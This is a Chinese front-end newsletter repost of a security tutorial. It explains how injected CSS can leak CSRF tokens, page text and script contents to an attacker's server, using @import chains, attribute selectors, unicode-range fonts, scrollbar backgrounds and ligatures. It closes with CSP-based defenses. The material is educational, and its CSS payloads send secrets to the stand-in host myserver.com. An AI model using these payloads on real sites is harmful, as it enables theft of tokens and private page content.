【第2751期】用 CSS 来偷数据 - CSS injection(下)
前言
昨天文末留的几个问题,今天来答案了。今日前端早读课文章由 @huli 授权分享。
正文从这开始~~
【第2750期】用 CSS 来偷数据 - CSS injection(上)
在上一篇面,我们知道了基本的 CSS 偷数据原理,并且以 HackMD 作为实际案例示范,成功偷到了 CSRF token,而这篇则是要深入去看 CSS injection 的一些细节,解決以下问题:
HackMD 因为可以及时同步內容,所以不需要重新整理就可以加载新的 style,那其他网站呢?该怎么偷到第二个以后的字符?
一次只能偷一个字符的话,是不是要偷很久呢?这在实际上可行吗?
有沒有办法偷到属性以外的东西?例如说页面上的文字內容,或甚至是 JavaScript 的代码?
针对这个攻击手法的防御方式有哪些?
偷到所有字符
在上篇里面我们有提到,我们想偷的数据有可能只要重新整理以后就会改变(如 CSRF token),所以我们必须在不重新整理的情况之下加载新的 style。
上一篇里面之所以做得到,是因为 HackMD 本身就是一个标榜即时更新的文件,但如果是一般的网页呢?在不能用 JavaScript 的情况下,该如何不断动态载入新的 style?
有关于这个问题,在 CSS Injection Attacks 这份简报里面给出了解答:@import
。
在 CSS 里面,你可以用 @import
去把外部的其他 style 引入进来,就像 JavaScript 的 import
那样。
我们可以利用这个功能做出引入 style 的回圈,如下面的代码:
@import url(https://myserver.com/start?len=8)
接着,在 server 回传如下的 style:
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)
重点来了,这边虽然一次引入了 8 个,但是 “后面 7 个 request,server 都会先 hang 住,不会给 response”,只有第一个网址 https://myserver.com/payload?len=1
会回传 response,内容为之前提过的偷资料 payload:
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://b.myserver.com/leak?q=z)
}
当浏览器收到 response 的时候,就会先载入上面这一段 CSS,载入完以后符合条件的元素就会发 request 到后端,假设第一个字是 d 好了,接著 server 这时候才回传 https://myserver.com/payload?len=2
的 response,内容为:
input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}
input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}
input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}
//....
input[name="secret"][value^="dz"] {
background: url(https://b.myserver.com/leak?q=dz)
}
以此类推,只要不断重复这些步骤,就可以把所有字符都传到 server 去,靠的就是 import 会先载入已经下载好的 resource,然后去等待还没下载好的特性。
这边有一点要特别注意,你会发现我们载入 style 的 domain 是 myserver.com,而背景图片的 domain 是 b.myserver.com,这是因为浏览器通常对于一个 domain 能同时载入的 request 有数量上的限制,所以如果你全部都是用 myserver.com 的话,会发现背景图片的 request 送不出去,都被 CSS import 给卡住了。
因此需要设置两个 domain,来避免这种状况。
除此之外,上面这种方式在 Firefox 是行不通的,因为在 Firefox 上就算第一个的 response 先回来,也不会立刻更新 style,要等所有 request 都回来才会一起更新。解法的话可以参考这一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然后每一个字符的 import
都用额外的 style 包着,像这样:
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
而上面这样 Chrome 也是没问题的,所以统一改成上面这样,就可以同时支持两种浏览器了。
总结一下,只要用 @import
这个 CSS 的功能,就可以做到 “不重新载入页面,但可以动态载入新的 style”,进而偷取后面的每一个字符。
一次偷一个字符,太慢了吧?
若是想要在现实世界中执行这种攻击,效率可能要再更好一点。以 HackMD 为例,CSRF token 总共有 36 个字,所以就要发 36 个 request,确实是太多了点。
事实上,我们一次可以偷两个字符,因为上集有讲过除了 prefix selector 以外,也有 suffix selector,所以可以像这样:
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
// ...
input[name="secret"][value$="a"] {
border-background: url(https://b.myserver2.com/suffix?q=a)
}
input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}
除了偷开头以外,我们也偷结尾,效率立刻变成两倍。要特别注意的是开头跟结尾的 CSS,一个用的是 background
,另一个用的是 border-background
,是不同的属性,因为如果用同一个属性的话,内容就会被其他的盖掉,最后只会发出一个 request。
若是内容可能出现的字符不多,例如说 16 个的话,那我们可以直接一次偷两个开头加上两个结尾,总共的 CSS rule 数量为 16*16*2 = 512
个,应该还在可以接受的范围内,就能够再加速两倍。
除此之外,也可以朝 server 那边去改善,例如说改用 HTTP/2 或甚至是 HTTP/3,都有机会能够加速 request 载入的速度,进而提升效率。
偷其他东西
除了偷属性之外,有没有办法偷到其他东西?例如说,页面上的其他文字?或甚至是 script 里面的代码?
根据我们在上一篇里面讲的原理,是做不到的。因为能偷到属性是因为 “属性选择器” 这个东西,才让我们选到特定的元素,而在 CSS 里面,并没有可以选择 “内文” 的选择器。
因此,我们需要对 CSS 以及网页上的样式有更深入的理解,才有办法达成这件看似不可能的任务。
unicode-range
在 CSS 里面,有一个属性叫做 unicode-range
,可以针对不同的字符,载入不同的字体。像是底下这个从 MDN 拿来的范例:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}
div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>
&
的 unicode 是 U+0026
,因此只有 &
这个字会用不同的字体来显示,其他都用同一个字体。
这招前端工程师可能有用过,例如说英文跟中文如果要用不同字体来显示,就很适合用这一招。而这招也可以用来偷取页面上的文字,像这样:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}
@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}
@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}
@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}
@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}
@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}
div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>
如果你去看 network tab,会看到一共发送了 4 个 request:
藉由这招,我们可以得知页面上有:13ac
这四个字符。
而这招的局限之处也很明显,就是:
我们不知道字符的顺序为何
重复的字符也不会知道
但是从 “载入字体” 的角度下去思考怎么偷到字符,着实带给了许多人一个新的思考方式,并发展出各式各样其他的方法。
字体高度差异 + first-line + scrollbar
这招要解决的主要是上一招碰到的问题:“没办法知道字元顺序”,然后这招结合了很多细节,步骤很多,要仔细听了。
首先,我们其实可以不载入外部字体,用内置的字体就能 leak 出字符。这要怎么做到呢?我们要先找出两组内置字体,高度会不同。
例如有一个叫做 “Comic Sans MS” 的字体,高度就比另一个 “Courier New” 高。
举个例子,假设预设字体的高度是 30px,而 Comic Sans MS 是 45px 好了。那现在我们把文字区块的高度设成 40px,并且载入字体,像这样:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
</style>
Secret: <div>DBC</div>
<div>ABC</div>
</body>
</html>
就会在画面上看到差异:
很明显 A 比其他字符的高度都高,而且根据我们的 CSS 设定,如果内容高度超过容器高度,会出现 scrollbar。虽然上面是截图看不出来,但是下面的 ABC 有出现 scrollbar,而上面的 DBC 没有。
再者,我们其实可以帮 scrollbar 设定一个外部的背景:
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
也就是说,如果 scrollbar 有出现,我们的 server 就会收到 request。如果 scrollbar 没出现,就不会收到 request。
更进一步来说,当我把 div 套用 “fa” 字体时,如果画面上有 A,就会出现 scrollbar,server 就会收到 request。如果画面上没有 A,就什么事情都不会发生。
因此,我如果一直重复载入不同字体,那我在 server 就能知道画面上有什么字符,这点跟刚刚我们用 unicode-range
能做到的事情是一样的。
那要怎么解决顺序的问题呢?
我们可以先把 div
的宽度缩减到只能显示一个字符,这样其他字符就会被放到第二行去,再搭配 ::first-line
这个 selector,就可以特别针对第一行做样式的调整,像是这样:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
div::first-line{
font-size: 30px;
}
</style>
Secret: <div>CBAD</div>
</body>
</html>
页面上你就只会看到一个 “C” 的字符,因为我们先用 font-size: 0px
把所有字符的尺寸都设为 0,再用 div::first-line
去做调整,让第一行的 font-size
变成 30px。换句话说,只有第一行的字元能看到,而现在的 div 宽度只有 20px,所以只会出现第一个字符。
接着,我们再运用刚刚学会的那招,去载入看看不同的字体。当我载入 fa
这个字体时,因为画面上没有出现 A,所以不会有任何变化。但是当我载入 fc
这个字体时,画面上有 C,所以就会用 Comic Sans MS 来显示 C,高度就会变高,scrollbar 就会出现,就可以利用它来发出 request,像这样:
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fc, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://myserver.com?C);
}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
那我们要怎么样不断使用新的 font-family
呢?用 CSS animation
就可以做到,你可以用 CSS animation
不断载入不同的 font-family
以及指定不同的 –leak
变量。
如此一来,我们就能知道画面上的第一个字符到底是什么。
知道了第一个字符以后,我们把 div
的宽度变长,例如说变成 40px
,就能容纳两个字符,因此第一行就会是前两个字,接着再用一样的方式载入不同的 font-family
,就能 leak
出第二个字符,详细流程如下:
假设页面上是 ACB
调整宽度为 20px,第一行只出现第一个字符 A
载入字体 fa,因此 A 用较高的字体显示,出现 scrollbar,载入 scrollbar 背景,传送 request 给 server
载入字体 fb,但是 B 没有出现在画面上,因此没有任何变化。
载入字体 fc,但是 C 没有出现在画面上,因此没有任何变化。
调整宽度为 40px,第一行出现两个字符 AC
载入字体 fa,因此 A 用较高的字体显示,出现 scrollbar,此时应该是因为这个背景已经载入过,所以不会发送新的 request
载入字体 fb,没出现在画面上,没任何变化
载入字体 fc,C 用较高的字体显示,出现 scrollbar 并且载入背景
调整宽度为 60px,ACB 三个字元都出现在第一行
载入字体 fa,同第七步
载入字体 fb,B 用较高的字体显示,出现 scrollbar 并且载入背景
载入字体 fc,C 用较高的字体显示,但因为已经载入过相同背景,不会发送 request
结束
从上面流程中可以看出 server 会依序收到 A, C, B 三个 reqeust,代表了画面上字符的顺序。而不断改变宽度以及 font-family
都可以用 CSS animation 做到。
想要看完整 demo 的可以看这个网页(出处:What can we do with single CSS injection?):https://demo.vwzq.net/css2.html
这个解法虽然解决了 “不知道字元顺序” 的问题,但依然无法解决重复字符的问题,因为重复的字符不会再发出 request。
大绝招:ligature + scrollbar
先讲结论,这一招可以解决上面所有问题,达成 “知道字符顺序,也知道重复字符” 的目标,能够偷到完整的文字。
要理解怎么偷之前,我们要先知道一个专有名词,叫做连字(ligature),在某些字型当中,会把一些特定的组合 render 成连在一起的样子,如下图(来源:wikipedia):
那这个对我们有什么帮助呢?
我们可以自己制作出一个独特的字体,把 ab
设定成连字,并且 render 出一个超宽的元素。接着,我们把某个 div
宽度设成固定,然后结合刚刚 scrollbar 那招,也就是:“如果 ab 有出现,就会变很宽,scrollbar 就会出现,就可以载入 request 告诉 server;如果没出现,那 scrollbar 就不会出现,没有任何事情发生”。
流程是这样的,假设页面上有 acc 这三个字:
载入有连字 aa 的字体,没事发生
载入有连字 ab 的字体,没事发生
载入有连字 ac 的字体,成功 render 超宽的画面,scrollbar 出现,载入 server 图片
server 知道页面上有 ac
载入有连字 aca 的字体,没事发生
载入有连字 acb 的字体,没事发生
载入有连字 acc 的字体,成功 render,scrollbar 出现,传送结果给 server
server 知道页面上有 acc
透过连字结合 scrollbar,我们可以一个字符一个字符,慢慢 leak 出页面上所有的字,甚至连 JavaScript 的代码都可以!
你知道,script 的内容是可以显示在页面上的吗?
head, script {
display: block;
}
只要加上这个 CSS,就可以让 script 内容也显示在画面上,因此我们也可以利用同样的技巧,偷到 script 的内容!
在实战上的话,你可以用 SVG 搭配其他工具,在 server 端迅速产生字体,想要看细节以及相关代码的话,可以参考这篇:.
而这边我就简单做个简化到不行的 demo,来证明这件事情是可行的。为了简化,有人做了一个 Safari 版本的 demo,因为 Safari 支持 SVG font,所以不需要再从 server 产生字型,原始文章在这裡:Data Exfiltration via CSS + SVG Font - PoC (Safari only)
简易版 demo:
<!DOCTYPE html>
<html lang="en">
<body>
<script>
var secret = "abc123"
</script>
<hr>
<script>
var secret2 = "cba321"
</script>
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
</font>
</defs>
</svg>
<style>
script {
display: block;
font-family:"hack";
white-space:n owrap;
overflow-x: auto;
width: 500px;
background:lightblue;
}
script::-webkit-scrollbar {
background: blue;
}
</style>
</body>
</html>
我用 script 放了两段 JS,里面内容分别是 var secret = "abc123"
跟 var secret2 = "cba321"
,接着利用 CSS 载入我准备好的字体,只要有 "a 的连字,就会宽度超宽。
再来如果 scrollbar 有出现,我把背景设成蓝色的,比较显眼,最后的结果如下:
上面因为内容是 var secret = "abc123"
,所以符合了 "a 的连字,因此宽度变宽,scrollbar 出现。
下面因为没有 a
,所以 scrollbar 没出现(有 a 的地方都会缺字,应该跟我没有定义其他的 glyph 有关,但不影响结果)
只要把 scrollbar 的背景换成 URL,就可以从 server 端知道 leak 的结果。
如果想看实际的 demo 跟 server 端的写法,可以参考上面附的那两篇文章。
防御方式
最后我们来讲一下防御方式,最简单明了的当然就是直接把 style 封起来不给用,基本上就不会有 CSS injection 的问题(除非操作方式有漏洞)。
如果真的要开放 style,也可以用 CSP 来阻挡一些资源的载入,例如说 font-src 就没有必要全开,style-src 也可以设置 allow list,就能够挡住 @import
这个语法。
再来,也可以考虑到 “如果页面上的东西被拿走,会发生什么事情”,例如说 CSRF token 被拿走,最坏就是 CSRF,此时就可以实作更多的防护去阻挡 CSRF,就算攻击者取得了 CSRF token,也没办法 CSRF(例如说多检查 origin header 之类的)。
总结
CSS 果真博大精深,真的很佩服这些前辈们可以把 CSS 玩出这么多花样,发展出这麽多令人眼界大开的攻击手法。当初在研究的时候,利用属性选择器去 leak 这个我可以理解,用 unicode-range
我也能理解,但是那个用文字高度加上 CSS animation 去变化的,我花了不少时间才搞懂那在干嘛,连字那个虽然概念好懂,但真的要实作还是会碰到不少问题。
最后,这两篇文章主要算是介绍一下 CSS injection 这个攻击手法,因此实际的代码并不多,而这些攻击手法都参考自前人们的文章,列表我会附在下面,有兴趣的话可以阅读原文,会讲得更详细一点。
参考资料:
CSS Injection Attacks
CSS Injection Primitives
HackTricks - CSS Injection
Stealing Data in Great style – How to Use CSS to Attack Web Application.
Data Exfiltration via CSS + SVG Font
Data Exfiltration via CSS + SVG Font - PoC (Safari only)
CSS data exfiltration in Firefox via a single injection point
关于本文
作者:@huli
原文:https://blog.huli.tw/2022/09/29/css-injection-2/
关于【CSS】相关推荐,欢迎读者自荐投稿,前端早读课等你来。+v:zhgb_f2er
【第2700期】动画合成小技巧!CSS 实现动感的倒计时效果
【第2684期】CSS Houdini 实现磁吸效果